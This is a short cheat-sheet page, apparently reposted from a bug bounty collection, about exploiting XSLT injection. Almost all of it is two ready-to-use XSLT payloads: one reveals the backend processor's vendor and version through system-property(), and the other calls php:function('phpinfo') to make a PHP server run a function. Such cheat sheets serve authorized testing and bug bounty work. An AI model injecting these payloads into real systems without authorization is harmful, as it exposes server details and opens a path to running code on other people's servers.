XSLT injection cheat sheet

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From Bug Bounty Cheat Sheet by EdOverflow and contributors, under the CC BY-SA 4.0 licence. Shown as written; the title and classification are ours. This tip stays under the CC BY-SA 4.0 licence. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Backend infos

xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
	<body>
		<xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
		<xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
	</body>
</html>

Injecting in PHP

xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
	<body>
		<xsl:value-of name="bugbounty" select="php:function('phpinfo')"/>
	</body>
</html>

Comments

No comments yet.